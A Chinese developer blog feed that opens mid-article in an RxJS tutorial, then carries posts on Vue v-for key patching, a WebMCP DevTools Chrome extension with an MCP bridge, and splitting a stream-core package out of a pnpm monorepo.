// B 模块订阅
userStatus$.subscribe((status) => {
  console.log(`[模块B] 调整 UI 适配状态: ${status}`);
});

// 状态变更,触发广播
userStatus$.next('ONLINE');
userStatus$.next('OFFLINE');

// 模块A销毁时取消订阅
unsubscribeA();

观察者模式的痛点在哪?

虽然上面的代码实现了解耦,但在真实的复杂业务中,它很快就会遇到瓶颈:

  1. 无法对数据流进行“中途加工”: 每次 next 推送的数据,订阅者只能原封不动地接收。如果模块 A 需要过滤掉 OFFLINE 状态,只能在 subscribe 的回调里写 if 判断。
  2. 异步竞态处理极难: 如果每次状态变更都需要发一次网络请求,用户连续触发 3 次变更,如何保证最后一次请求的结果不会被前两次的慢请求覆盖?
  3. 缺乏生命周期管理: 原生观察者只有 next(推送数据),缺少 error(报错)和 complete(流结束)的标准机制。

二、 进化:RxJS 的降维打击

为了解决上述痛点,RxJS 在观察者模式的基础上,引入了迭代器模式函数式编程的理念。

在 RxJS 的世界里,一切皆为流(Observable) 。它不仅能发射数据,更重要的是,它提供了一条流水线(Pipe)和极其丰富的操作符(Operators) ,允许你在数据到达订阅者之前,对其进行过滤、转换、合并、防抖、截断等一系列极其优雅的操作。


三、 实战演练:RxJS 解决复杂业务痛点的 4 大核心场景

纸上得来终觉浅。接下来,我们把 RxJS 放到真实的复杂前端场景中,看看它是如何摧枯拉朽般解决问题的。

场景一:招聘管理系统的“高频复杂表单搜索与联动”

痛点描述: 在招聘后台,HR 需要通过一个输入框实时搜索候选人。要求:

  1. 必须防抖(不能每敲一个字母就发请求)。
  2. 不能发送重复的请求(比如输入 A -> 退格 -> 重新输入 A)。
  3. 最致命的竞态问题: 请求 A 耗时 2 秒,请求 B 耗时 0.5 秒。B 先返回,A 后返回,导致 UI 最终显示的是过期的 A 搜索结果。

RxJS 破局:使用 switchMap

import { fromEvent, from } from 'rxjs';
import { debounceTime, distinctUntilChanged, switchMap, filter, map } from 'rxjs/operators';

const searchInput = document.getElementById('candidate-search');

// 将原生 DOM 事件转换为流
const searchFlow$ = fromEvent(searchInput, 'input').pipe(
  // 1. 提取输入框的值
  map(e => e.target.value.trim()),
  // 2. 过滤掉空字符串
  filter(keyword => keyword.length > 0),
  // 3. 防抖:用户停顿 400ms 后才继续向下流转
  debounceTime(400),
  // 4. 剔除重复值:如果当前值和上一次触发流转的值一样,则拦截
  distinctUntilChanged(),
  // 5. 核心杀招 switchMap:自动取消上一轮未完成的 Promise/Observable
  // 彻底告别请求 A 覆盖 请求 B 的竞态 Bug
  switchMap(keyword => from(mockApiSearch(keyword))) 
);

// 最终订阅渲染
searchFlow$.subscribe({
  next: (candidates) => renderList(candidates),
  error: (err) => console.error('搜索异常', err)
});

// 模拟异步搜索请求
async function mockApiSearch(query) {
  console.log(`[发送网络请求]: ${query}`);
  const res = await fetch(`/api/candidates?q=${query}`);
  return res.json();
}

场景二:Wujie (无界) 微前端架构下的跨应用“事件总线”

痛点描述: 在采用 Wujie 进行老系统重构改造时,主应用和多个子应用之间经常需要频繁通信(例如:子应用完成了一次人员录用,需要通知主应用更新顶部的通知数量,并触发另一个工资条子应用的刷新)。传统的 window.postMessage 难以管理,极易导致事件风暴。

RxJS 破局:构建基于 Subject 的过滤型总线

import { Subject } from 'rxjs';
import { filter } from 'rxjs/operators';

// --- 主应用中定义的全局总线 (挂载在全局共享作用域) ---
export class GlobalEventBus {
  constructor() {
    this.bus$ = new Subject();
  }

  // 发射事件
  emit(eventName, payload) {
    this.bus$.next({ eventName, payload });
  }

  // 按需监听特定事件
  on(targetEventName) {
    return this.bus$.pipe(
      // 核心:直接在管道层过滤,订阅者只会收到自己关心的事件
      filter(event => event.eventName === targetEventName)
    );
  }
}

const eventBus = new GlobalEventBus();
window.$microBus = eventBus; 

// --- 子应用 A (招聘模块):触发录用 ---
window.$microBus.emit('STAFF_HIRED', { staffId: '8848', name: '张三' });

// --- 主应用:监听录用事件并更新 UI ---
const hiredSub = window.$microBus.on('STAFF_HIRED').subscribe(({ payload }) => {
  console.log(`主应用接收到录用通知,更新系统通知栏:${payload.name}`);
});

// --- 子应用 B (薪资模块):监听录用事件初始化薪资档案 ---
const salarySub = window.$microBus.on('STAFF_HIRED').subscribe(({ payload }) => {
  console.log(`薪资模块接收:准备为 ${payload.staffId} 创建薪资账套`);
});

// 切记在微前端组件卸载 (onUnmounted) 时销毁订阅!
// hiredSub.unsubscribe();

场景三:业务大盘 / 数据看板的多维接口聚合

痛点描述: 进入系统首页大盘,需要同时调用“今日入职人数”、“待处理审批流”和“最新系统公告”三个毫无关联的接口。我们需要等它们全部返回后,消除 loading 状态,统一渲染。Promise.all 如果其中一个挂了,整体就全挂了。

RxJS 破局:forkJoin 与容错捕获

import { forkJoin, from, of } from 'rxjs';
import { catchError } from 'rxjs/operators';

// 封装接口请求,赋予独立的错误容忍能力
const fetchWithFallback = (apiPromise, fallbackValue) => {
  return from(apiPromise).pipe(
    catchError(err => {
      console.warn('接口请求降级:', err);
      return of(fallbackValue); // 即使报错,也返回一个兜底值,不阻断全局
    })
  );
};

const onboardingStats$ = fetchWithFallback(fetch('/api/stats/onboarding'), { count: 0 });
const approvals$ = fetchWithFallback(fetch('/api/approvals/pending'), []);
const notices$ = fetchWithFallback(fetch('/api/notices'), []);

// forkJoin 相当于强大的 Promise.all
forkJoin({
  stats: onboardingStats$,
  approvals: approvals$,
  notices: notices$
}).subscribe({
  next: (dashboardData) => {
    // 隐藏整体 Loading,统一渲染视图
    hideLoading();
    console.log('大盘数据初始化完成:', dashboardData);
    // dashboardData.stats | dashboardData.approvals
  }
});

场景四:长轮询(Polling)与优雅的终止控制

痛点描述: 导出几十万条工资条记录是一个慢任务,前端提交导出请求后,需要每隔 3 秒去轮询一次后端的任务状态。直到状态变为 SUCCESS,或者用户点击了页面上的“取消导出”按钮,彻底停止轮询。

RxJS 破局:timer + takeUntil

import { timer, fromEvent, Subject } from 'rxjs';
import { switchMap, takeUntil, filter, tap } from 'rxjs/operators';

const cancelBtn = document.getElementById('cancel-export-btn');
// 点击取消按钮的流
const cancelClick$ = fromEvent(cancelBtn, 'click');

// 触发导出的流(这里用 Subject 模拟触发)
const startExport$ = new Subject();

startExport$.pipe(
  // 每次触发导出,启动一个每 3 秒触发一次的定时器流
  switchMap(() => timer(0, 3000).pipe(
    // 每次定时器触发,发请求查询状态
    switchMap(() => from(checkExportStatus())),
    // 核心杀招1:如果状态是 SUCCESS,则截断这个流,停止轮询
    filter(res => {
      if (res.status === 'SUCCESS') {
        downloadFile(res.url);
        return false; // 阻断传递,但这里如果要停止整个流通常配合 takeWhile
      }
      return true; // 继续轮询
    }),
    // 核心杀招2:如果用户点击了取消按钮,立刻强制终止这根水管,结束轮询
    takeUntil(cancelClick$)
  ))
).subscribe();

// 业务触发
startExport$.next();

// 模拟状态查询
async function checkExportStatus() {
  console.log('查询导出进度中...');
  return { status: 'PENDING' }; // 后续变为 SUCCESS
}

结语

从基础的“观察者模式”迈入“RxJS 流式编程”,思维的转变是痛苦的,但收益是极其可观的。

当你在项目中遇到了竞态竞争、需要精确控制防抖节流、需要聚合多端数据或是管理极其复杂的微前端通信体系时,你会发现原先写成一坨意大利面条式的 async/await 状态变量,在 RxJS 的管道(Pipe)中,变成了一股股清晰、独立且易于维护的数据清泉。

技术没有银弹,但 RxJS 绝对是对抗复杂前端异步流的终极武器。


从源码看vue的key和状态错乱的patch

2026年4月17日 16:06

状态错乱

喜闻乐见的不提供key更新v-for的dom会导致状态错乱问题:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
</script>

<template>
  <input type="text" v-for="i in arr">
  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

这个比较常见了,原因就是Patch的时候,由于没有key,不好判断新旧vnode中的两个元素是不是同一个的元素,对于相同类型的vnode,会直接认为可复用然后patch,导致删除的“3”的input没有被移除,而是最后一个input因为前四个都被认为可复用而认为多余给删除了!

但是出现这个错误也有个前提,那就是相关的数据没有被vue接管到

如下代码:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
  let arr2 = ref(Array.from({length: 6}))
</script>

<template>
  <input type="text" v-for="i in arr" :value="arr2[i]">

  <br>

  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

再次执行发现并不会存在相同的问题,这是因为value被vue接管到了,导致vue能够正常处理属性

从源码来看(这里就不贴源码了,大家可以自己git下来读一下):在renderer.ts的patchElement中,在PatchChildren完成后会根据patchFlag来patch props,由于vue已经接管了value的状态,所以实际上vnode的信息是正确的,只是patch的时候patch错了而已,但是即使此时删除的是最后一个input,但是经过错位,但是正确vnode信息的patch,最后表现还是正常的(这里有点绕,可以借助compiler模块的编译逻辑理解)

这个问题根源在于:patch出错但是虚拟dom的描述是没有问题的,因此vue接管的属性不会发生错误

就类似这种情况:

<script setup lang="ts">
  import {ref} from "vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
</script>

<template>
  <div v-for="i in arr">{{i}}</div>

  <button @click="deleteArrItem" >change</button>
</template>

<style scoped>

</style>

但是错位patch性能不如提供key的正确的patch,因为后几个input的状态没有变化嘛,错位patch会让后几个也会被patch

这也是正常工作中很少出现这个问题的原因,因为毕竟要接管元素想要的状态嘛,不然放他在这里干嘛?

如果对compile模块和runtime模块的工作如何配合不清晰的可以看我的这篇文章:todo

组件的v-for

但是组件的v-for一定要提供key,原因如下

<script setup lang="ts">
  import {ref} from "vue";
  import InputCom from "@/component/InputCom.vue";

  let arr = ref([0,1,2,3,4,5])
  function deleteArrItem() {
    arr.value.splice(3,1)
  }
  let arr2 = ref(Array.from({length:6}))
</script>

<template>

  <input-com v-for="i in arr" :msg="arr2[i]"></input-com>

  <button @click="deleteArrItem">change</button>
</template>

<style scoped>

</style>

InputCom的实现:

<script setup lang="ts">
  import {ref} from "vue";

  let value1 = ref(0)
  let props = defineProps(['msg'])
</script>

<template>
  {{props.msg}}
  <input type="text" v-model="value1">
</template>

<style scoped>

</style>

此时还会出现问题,即使vue已经接管了所有的状态

这是由于patch component children的时候,并不管组件内部的实现,是相同的vnode就会按照刚才说的舍弃最后一个的方式进行patch,那这样在component上就会有大问题了,component内部的状态也是相同的:最后一个被删除了

和上一个例子不同的地方在于:一个是component的内部状态,一个是props状态,内部状态会随着patch的出错而错误移除最后一个component!

就像是上面的例子,组件内部的msg会保持正确!

key的作用?我要是不加key呢?

源码中看key用来判断两个vnode是不是同一个vnode

vue2不允许列表渲染没有key,但是vue3允许,这个改变在于,对于vue3的改进的pactch算法来说也允许不存在key,对应patchUnkeyedChildren,不加key对于没有状态的元素和组件更新更加高效,因为不需要繁琐的pacth,只需要就地更新就好!

只有v-for的patch需要key?其他的呢?

一般来说v-for, v-if会需要key,因为dom不存在稳定性,会发生dom移除增加、顺序错乱,此时key就很重要

但是对于稳定的dom,也就是不会出现增加新dom、删除dom、顺序错乱,所以此时key就不关键了

为什么vue自己不把key加上?

加了,v-if就加了,但是v-for说是业务驱动,但是我没有搞的太明白,等我搞明白了在更新上!

Chrome 内置了 AI 工具协议?WebMCP 抢先体验 + 开源 DevTools 全解析

作者 你_好
2026年4月17日 15:58

上周在逛 Chrome 的实验性 API 时,我发现了一个让我瞬间坐直的东西:

navigator.modelContext

这是 Chrome 正在实验的一个浏览器原生 API,允许网页直接给 AI 注册可调用的工具。没错,不是第三方库,不是 npm 包,是浏览器原生的。

我当时的反应是:这不就是 MCP 的浏览器版?

于是我花了两周做了一个 Chrome 扩展,不仅能调试这些工具,还能把浏览器里的工具桥接到 Cursor 里直接用。今天把整个过程和思路分享出来。

项目已开源,文末有链接。


先说结论:WebMCP 是什么

你大概率听过 MCP(Model Context Protocol),Anthropic 搞的那个 AI 工具调用协议。现在几乎所有 AI 客户端都支持了。

WebMCP 做的事情更激进 —— 它让浏览器成为工具的载体。

一段 JavaScript 就够了:

navigator.modelContext.registerTool({
  name: 'get_weather',
  description: '查询城市天气',
  inputSchema: {
    type: 'object',
    properties: {
      city: { type: 'string', description: '城市名' }
    },
    required: ['city']
  },
  execute: async ({ city }) => {
    const res = await fetch(`/api/weather?city=${city}`);
    return res.json();
  }
});

更离谱的是,连 JavaScript 都不用写 —— HTML 表单就行:

<form toolname="coffee_order" tooldescription="点一杯咖啡">
  <select name="type" required>
    <option value="latte">拿铁</option>
    <option value="americano">美式</option>
  </select>
  <button type="submit">下单</button>
</form>

HTML 表单即工具。 你的 <form> 加两个属性,AI 就知道怎么帮你填表了。


痛点:API 有了,工具呢?

WebMCP 目前要手动启用 chrome://flags/#enable-webmcp-testing,还在实验阶段。

我启用之后遇到的第一个问题是:我注册了工具,然后呢?

  • 页面注册了哪些工具?不知道
  • Schema 长什么样?得自己 console.log
  • 想执行一下?得自己写调用代码
  • 多个标签页的工具?完全看不到

Chrome DevTools 里也没有 WebMCP 面板。

所以我决定自己做一个。


WebMCP DevTools:我做了什么

一个 Chrome 侧面板扩展,打开就能看到当前所有标签页的 WebMCP 工具。

工具检测 + Schema 可视化

自动检测所有标签页注册的工具,Schema 以树形结构展开,支持 $refallOfoneOfanyOf 等高级特性。

image.png

一键执行

点工具卡片,自动生成交互式表单。填参数,点执行,结果即时返回。也可以切换成原始 JSON 模式手写参数。

image.png

执行历史 + 性能统计

每次执行自动记录,统计成功率、平均耗时、最快最慢。还能按来源区分 —— 手动执行、AI 助手调用、还是 MCP Bridge 远程调用。

image.png

内置 AI 助手

侧面板里直接和 AI 对话,AI 可以自动调用页面上的 WebMCP 工具。

比如我说"你来选择",AI 自己调了 coffee_order,帮我点了杯拿铁:

image.png

流式输出、Markdown 渲染、代码语法高亮都有。

快照对比

保存工具定义快照,下次迭代时一键 diff —— 开发过程中特别实用。

image.png


重头戏:让 Cursor 调用浏览器里的工具

这是 2.0 版本最核心的能力。

场景: 你在浏览器里打开了一个带 WebMCP 工具的页面,你希望在 Cursor 里让 AI 直接调用这些工具。

问题: WebMCP 工具存在于浏览器沙箱里,外部 AI 客户端根本碰不到。

我的方案: 做一个 MCP Bridge Server,在浏览器和 AI 客户端之间架一座桥。

Cursor / Claude Desktop
       ↕  stdio (MCP 协议)
  MCP Bridge Server
       ↕  WebSocket (localhost)
   Chrome 扩展
       ↕  Content Script
     网页上的 WebMCP 工具

30 秒配置

npm 包已经发布了,在 Cursor 的 .cursor/mcp.json 里加一行:

{
  "mcpServers": {
    "webmcp-devtools": {
      "command": "npx",
      "args": ["-y", "webmcp-devtools-server"]
    }
  }
}

然后在扩展面板点 Bridge 连接,完事。

实际效果

在 Cursor 里列出浏览器工具:

> webmcp_list_tools

Found 8 WebMCP tool(s):
- fortune_telling: 星座运势预测 [read-only]
- split_bill: 多人聚餐后智能AA分账
- random_picker: 选择困难症终结者
- world_clock: 全球城市时间查询 [read-only]
- gen_password: 安全密码生成器
- unit_convert: 通用单位换算
- coffee_order: 下单一杯咖啡 [declarative]
- event_signup: 活动报名 [declarative]

直接调用:

> webmcp_call_tool fortune_telling {"zodiac":"天秤座","aspect":"事业"}

{
  "星座": "天秤座",
  "运势指数": "84/100",
  "幸运色": "玫瑰金",
  "今日建议": "适合整理思绪,为下周做规划"
}

从 Cursor 到浏览器页面上的工具,整条链路完全打通。


踩的一些坑

Chrome MV3 Service Worker 休眠

Service Worker 大约 30 秒无活动就会被 Chrome 干掉,WebSocket 连接随之断开。

我的方案是双层心跳保活:

  • 客户端用 chrome.alarms 每 24 秒 PING
  • 服务端每 20 秒 PING

两端互相保活,Service Worker 就不会被杀了。

端口泄漏

MCP Bridge 的 Node.js 进程如果异常退出,WebSocket 端口不会释放,下次启动就会报 EADDRINUSE

解决方案是注册所有退出信号:

process.on('SIGINT', cleanup);
process.on('SIGTERM', cleanup);
process.stdin.on('close', cleanup);
process.on('exit', () => bridge.stop());

工具消息格式

AI 的 Function Calling 对消息格式要求很严格 —— tool_calls 需要有 idtool 类型的消息需要对应 tool_call_id。这块调了不少时间才跑通。


在线体验

我做了一个中文演示页面,注册了 8 个好玩的工具供体验:

工具 说明 类型
🔮 今日运势 星座运势预测 只读
💰 AA 记账 智能分账(嵌套对象+数组) 编程式
🎲 随机决定器 选择困难症终结者 编程式
🌍 世界时钟 多城市时间对比 只读
🔑 密码生成器 安全密码+强度评估 编程式
📊 单位换算 长度/重量/温度等互转 编程式
☕ 咖啡订单 声明式表单工具 声明式
🎉 活动报名 声明式表单工具 声明式

演示页面地址

需要先启用 chrome://flags/#enable-webmcp-testing


快速上手

第一步:启用 WebMCP

chrome://flags/#enable-webmcp-testing → Enabled → 重启

第二步:安装扩展

Chrome Web Store 下载

或者从源码构建:

git clone https://github.com/2019-02-18/WebMCP-DevTools.git
cd WebMCP-DevTools && pnpm install && pnpm build

第三步:连接 MCP Bridge(可选)

{
  "mcpServers": {
    "webmcp-devtools": {
      "command": "npx",
      "args": ["-y", "webmcp-devtools-server"]
    }
  }
}

写在最后

WebMCP 还在早期实验阶段,但方向很明确:浏览器要成为 AI 的原生工具平台。

想象一下:

  • 电商网站暴露"搜索商品""加入购物车"工具
  • 银行网站暴露"查余额""转账"工具
  • 所有这些,用户授权后 AI 就能操作

这不是科幻,这是 Chrome 正在做的事。

WebMCP DevTools 是我为这个未来做的第一步 —— 帮开发者更好地开发和调试 WebMCP 工具。

GitHub: github.com/2019-02-18/…

npm: webmcp-devtools-server

Chrome Web Store: WebMCP DevTools

如果对你有帮助,点个 ⭐ 和 👍 呗。有问题欢迎评论区交流。

pnpm monorepo 下,如何把 Next.js 应用里的稳定内核拆成内部 workspace 包

作者 倾颜
2026年4月16日 16:18

在一个 Next.js 应用里,当某些模块越来越稳定、越来越可能被复用时,什么时候应该把它们拆成 packages/* 里的内部 workspace 包?

我在 AI Mind v0.0.10 里处理的,就是这样一个问题。

先简单介绍一下这个项目。AI Mind 不是一个一次性做完的 AI 产品,而是一个按版本持续演进的 AI Native Runtime Skeleton。它从本地聊天闭环出发,逐步长出结构化流式协议、Tool Calling、Skill Runtime、MCP 接入,以及后面的 Agent / 数据层能力。

ai-1.gif

当前主应用在 apps/webapp。到 v0.0.10 为止,这个项目已经能跑一条比较完整的聊天链路:请求从 /api/chat 进入,经过 chat-service 和 runtime 编排,再去衔接 skill、tool、MCP,最后以前端可消费的流式 chunk 返回。

也正因为这条主链已经逐渐跑稳,一个更具体、也更工程化的问题才会冒出来:当某一层能力已经明显稳定、也明显可能复用时,我们到底应该什么时候把它拆成 packages/* 里的内部 workspace 包?

这正是 v0.0.10 的主题。 这一版我没有一上来就把整个 Chat Runtime 抽出去,也没有为了 monorepo 先做一个“大而全”的基础包,而是先在 apps/webapp 内把聊天主链收口,再只把真正稳定的流式内核沉成 @ai-mind/stream-core

所以这篇文章不会从 pnpm monorepo 的基础配置讲起,也不会把重点放在“我又拆了一个包”。我更想复盘的是一次真实项目里很常见、也很容易做重的工程判断:

  • 什么样的代码,才值得先拆成内部 workspace 包?
  • 为什么在拆包之前,我们最好先把应用内 Runtime 的边界做稳?

先看结论

拆包不是目标。先把应用内边界收稳,再把已经跑稳的那一小块内核沉淀出来,拆包才会真的带来收益。

apps/webapppackages/stream-core 的结构示意图

v0.0.10-stream-core-cover-01.png


1. 为什么这次拆包不是从 package 开始,而是从 Runtime 收口开始

1.1 拆包不是目标,稳定边界才是目标

真正值得优先解决的,不是“怎么拆包”,而是“边界是不是已经稳了”。

在工程里,拆包本身并不天然代表结构更好。目录拆得更细,也不等于边界就更清楚。真正关键的是,我们能不能先回答下面这几个问题:

  • 这一层的语义是不是已经稳定了?
  • 它是不是已经不再强依赖当前应用里的业务编排?
  • 如果现在把它抽出去,边界会更清楚,还是只会多一层跳转?

如果这些问题还没想明白,拆包通常不会减少复杂度,只会把复杂度换个目录继续保存。

边界没稳时,抽出去的往往不是“可复用内核”,而是一份还在变化中的局部实现。它带来的结果通常也不难想象:

  • app 内还得持续频繁修改它
  • 对外接口会跟着反复抖动
  • 主链职责没有更清楚,反而多了一层跨目录理解成本

所以对我来说,拆包的前提不是“能不能拆”,而是“是不是已经稳到值得拆”。

1.2 这个问题是怎么在我的项目里出现的

AI Mind 当前是一个 Next.js + pnpm monorepo 的 AI Webapp,主应用在 apps/webapp

到这一轮之前,仓库层面的 monorepo 形态其实已经在了,但聊天主链里不少核心逻辑仍然集中在 app 内部。换句话说,目录先搭起来了,Runtime 的边界却还没有完全长清楚。

所以我要解决的,本质上不是“怎么把 monorepo 配起来”,而是“在已经存在的 monorepo 里,哪些东西真的成熟到值得沉淀成内部 workspace 包”。

如果只看目录变化,这一版像是做了两件事:

  1. chat-service 拆薄
  2. 新建了 packages/stream-core

但从工程演进角度看,它们其实是一件事的前后两步:

先把 apps/webapp 里的聊天主链收口成“薄 facade + runtime 编排层”,再把其中已经稳定的流式内核沉淀成内部 workspace 包。

也正因为先做了前一步,后面“到底什么值得拆”这件事才开始变得清楚。

我最后把这版真正要回答的问题,收成了两个判断:

  1. 聊天主链内部边界是否已经足够清晰?
  2. 哪一部分能力已经稳定到值得从 app 内部沉淀成包?

如果这两个问题不先回答,所谓 package 化就很容易退化成“目录迁移”,而不是一次真正有价值的结构升级。


2. 第一步:先把应用内 Chat Runtime 收口出来

2.1 为什么 chat-service 不能继续变胖

这版真正先动的,不是 package,而是 chat-service 这个入口层。

在一个聊天应用里,chat-service 很容易不断吸收新职责:

  • prompt 构建
  • planning / retry / final answer
  • tool / resource 执行
  • chunk 写出
  • 错误收口

短期看这样很方便,因为所有逻辑都能往一个地方放。长期看,它会慢慢变成一个很典型的“胖服务层”:

  • 外部入口和内部编排耦在一起
  • 测试越来越难写
  • 边界越来越难拆

所以 v0.0.10 的第一步不是抽包,而是先把这个入口层重新收回到它该有的位置。

2.2 我怎么把聊天主链收口成“薄 facade + runtime 编排层”

我最后把主链收成了一个更容易解释、也更容易继续演进的结构:

route
  -> chat-service facade
    -> runtime
      -> skills / tools / mcp

对应实现大致分布在这些位置:

  • apps/webapp/app/api/chat/route.ts(聊天 API 入口,负责 HTTP 边界和错误映射)
  • apps/webapp/lib/ai/chat-service.ts(聊天服务 facade,负责对外暴露稳定入口和包装响应)
  • apps/webapp/lib/ai/runtime/(聊天运行时编排层,真正组织 planning、tool 调用和最终回答)

chat-service 现在的角色已经很克制了,它不再承接整条链路的所有细节,而是只负责稳定入口和响应包装:

export function createChatService(deps: ChatServiceDependencies) {
    return {
        async streamChat(request: ChatRequest, context: ChatExecutionContext) {
            const streamResult = await createChatStreamResult(request, context, deps)

            return new Response(streamResult.body, {
                headers: streamResult.headers,
            })
        },
    }
}

这段代码很小,但它表达出来的边界很重要:对外入口留在 facade,真正的运行时编排收回 runtime。

2.3 Runtime 收口后,内部职责怎么重新分配

主链一旦收口,runtime 内部的职责也就开始变清楚了。

当前核心文件主要包括:

  • chat-session.ts(按请求组装会话上下文、模型实例、active tools 和 system prompts)
  • chat-orchestrator.ts(决定 direct-answer、planning、tool-execution、final-answer 这些阶段怎么串起来)
  • assistant-stream.ts(消费模型输出流,把 reasoning / text 等内容写成标准 chunk)
  • tool-runtime/(承接 tool call 的校验、执行,以及 Tool / Resource 展示信息映射)
  • authoritative-answer.ts(判断单工具确定性结果是否可以跳过模型、直接静态回流)

这一节最重要的,不是把文件列出来,而是让我们能明确看见:谁负责外部入口,谁负责运行时编排,谁负责具体执行。

只有当应用内 Runtime 自己先变清楚了,我们才看得见两件事:

  • 什么是真正稳定的内核
  • 什么仍然属于当前应用的编排层

这一步做完以后,后面的拆包判断才不再靠感觉,而是可以基于已经清楚的职责边界来做。


3. 第二步:怎么判断哪些代码才算“稳定内核”

3.1 我给自己用的一组拆包判断标准

这次我给自己定的标准很简单,但非常实用:

  • 语义是否稳定
  • 是否与业务策略弱耦合
  • 是否跨层复用明显
  • 是否具备独立测试价值
  • 是否可以单独 build / typecheck
  • 是否值得被多个 app / 模块消费

只要前面几条还答不清楚,我通常就不会急着拆。

3.2 适合先拆出去的,不是“最大的一块”,而是“最稳定的一块”

这次我很想留下来的一个判断是:先拆出去的,不一定是最大的那块,而应该是最稳定的那块。

很多时候我们天然会盯着最大的模块:

  • 最大的 service
  • 最大的 runtime
  • 最大的 orchestration

但大的东西,往往也是变化最多、业务语义最重的东西。

这次真正适合先拆出去的,反而不是最大块,而是最稳定的一块:

  • 流式协议
  • 生命周期
  • 错误 chunk
  • static writers
  • NDJSON writer

它们不大,却已经足够清楚、足够独立,也足够值得被当成一层内核看待。

3.3 用项目举例:哪些东西我认为还不该拆

先说我明确不打算在这一步就拆出去的部分。

  • chat-orchestrator(负责 planning、tool 执行、authoritative answer 和 final answer 的阶段编排)
  • chat-session(负责按当前请求组装模型、messages、skill prompt 和 active tools)
  • tool-runtime(负责 tool call 校验、执行,以及 Tool / Resource 展示信息映射)
  • Skill 编排(决定当前请求命中哪个 skill,以及这个 skill 允许使用哪些工具)
  • MCP 消费层(把外部 MCP Tool / Resource 接到当前 runtime 和展示语义上)

原因很直接:它们仍然带有明显的应用内语义和业务编排特征。

这些模块继续留在 apps/webapp,反而是更清晰的选择。

3.4 用项目举例:哪些东西已经足够稳定

再看另一边。下面这些内容,已经很接近一层可以单独沉淀的稳定内核:

  • ChatStreamChunk(定义整条流式协议里有哪些 chunk,以及每种 chunk 带什么字段)
  • StreamLifecycle(约束 start / finish / runtime error 这些生命周期终态只发一次)
  • error chunk helper(统一生成和写出 error chunk)
  • static text / reasoning writers(把静态文本或推理内容写成标准流式 part)
  • NDJSON web writer(把 chunk 序列编码成前端可消费的 NDJSON 响应体)

它们的共同点也很明显:

  • 不直接携带业务策略
  • 语义稳定
  • 本身就值得独立测试
  • 很容易被别的 app 或 service 复用

这就是 stream-core 最终被抽出来的基础。


4. 为什么最后拆出来的是 stream-core

4.1 我没有先拆 runtime-core,也没有拆整个 chat runtime

这是很多人看到目录变化之后,第一反应会问的问题:

“既然已经有 runtime 了,为什么不直接抽一个 runtime-core?”

原因很简单:今天的 runtime 还不是一块可以稳定复用的内核,它仍然包含大量应用级判断:

  • planning 阶段怎么走
  • tool 结果什么时候可以直出
  • skill / tool / mcp 怎么组合

这些东西现在抽出去,只会把编排层也一起包化。

4.2 stream-core 代表的是一块已经稳定的流式内核

真正被我拆出去的,不是一个“大 runtime”,而是一块已经跑稳的流式内核。

它的稳定主要体现在几件事上:

  • 协议已经比较稳定
  • 生命周期已经比较稳定
  • writer 的职责已经比较稳定
  • 和具体业务编排之间是弱耦合关系

StreamLifecycle 就是一个很典型的例子:

export class StreamLifecycle {
    private started = false
    private terminated = false

    emitStartOnce() {
        if (this.started || this.terminated || this.isClosed()) {
            return false
        }

        this.started = true
        this.writeChunk({
            type: 'start',
            messageId: createId(),
        })

        return true
    }
}

它不关心 skill、tool、MCP 这些上层语义,只关心流式生命周期本身是否被正确表达。这种代码,就很适合先沉淀下来。

4.3 stream-core 的职责边界是什么

这个包的边界其实非常克制,当前只放这些内容:

  • protocol
  • lifecycle
  • error chunk
  • static parts writer
  • web NDJSON writer

对应源码大致位于:

  • packages/stream-core/src/protocol/(定义 start / text / reasoning / tool / resource / error / finish 这些 chunk 类型)
  • packages/stream-core/src/core/stream-lifecycle.ts(统一处理流开始、结束和 runtime error 的终态收口)
  • packages/stream-core/src/core/stream-error.ts(统一创建和写出错误 chunk)
  • packages/stream-core/src/core/static-parts.ts(把静态文本或推理内容写成标准流式 part)
  • packages/stream-core/src/adapters/web/chunk-writer.ts(把 chunk 逐行编码成 NDJSON 并写进 Web ReadableStream

而这些内容我明确没有放进去:

  • orchestrator(聊天主链的阶段编排和策略判断)
  • session(按请求拼出模型上下文、messages 和 active tools)
  • tool runtime(工具校验、执行与展示映射)
  • skill / MCP 编排(当前应用里的能力路由和外部能力接入层)

因为它们今天仍然属于“应用内编排层”,还不是适合沉淀成公共内核的部分。

4.4 这一版拆包的核心取舍

如果把这一版的取舍压成一句话,我会这样说:

我不是为了让项目“看起来更像架构”而拆包,而是只把已经在应用内跑稳、边界也相对清楚的那部分流式内核,正式沉淀了下来。

这也是为什么它最终叫 stream-core,而不是一个一看就想把所有东西都装进去的名字。


5. 在 pnpm monorepo 里,把它真正落成内部 workspace 包

5.1 packages/stream-core 的目录与包名设计

这个包的目录和命名,我一开始就尽量做得很直白:

  • 目录:packages/stream-core
  • 包名:@ai-mind/stream-core

这个命名本身就在表达边界:它承接的是 stream core,不是整个 chat runtime。

5.2 为什么我给它做了清晰的 exports,而不是只有一个根入口

内部包也需要边界,不能先暴露一个大入口,后面再慢慢补救。

这次我给 stream-core 做了明确的 exports:

  • 根入口(暴露 stream-core 的核心能力)
  • ./protocol(只暴露流式协议类型)
  • ./web(只暴露面向 ReadableStream 的 NDJSON writer 适配器)

对应配置在 packages/stream-core/package.json

"exports": {
  ".": {
    "types": "./build/types/index.d.ts",
    "require": "./build/cjs/index.js",
    "import": "./build/esm/index.mjs"
  },
  "./protocol": {
    "types": "./build/types/protocol/index.d.ts",
    "require": "./build/cjs/protocol/index.js",
    "import": "./build/esm/protocol/index.mjs"
  },
  "./web": {
    "types": "./build/types/adapters/web/index.d.ts",
    "require": "./build/cjs/adapters/web/index.js",
    "import": "./build/esm/adapters/web/index.mjs"
  }
}

这样做的价值不只是“写得更正规”,而是让消费边界从一开始就足够明确:

  • 根入口给稳定基础能力
  • ./protocol 单独暴露协议类型
  • ./web 单独暴露面向 Web 流响应的适配能力

5.3 为什么我选择双产物构建,而不是只做单一格式

我没有把它做成一份“先能跑起来再说”的源码目录,而是直接按一个内部包去收它的产物形态。

当前 stream-core 输出的是三类产物:

  • build/cjs
  • build/esm
  • build/types

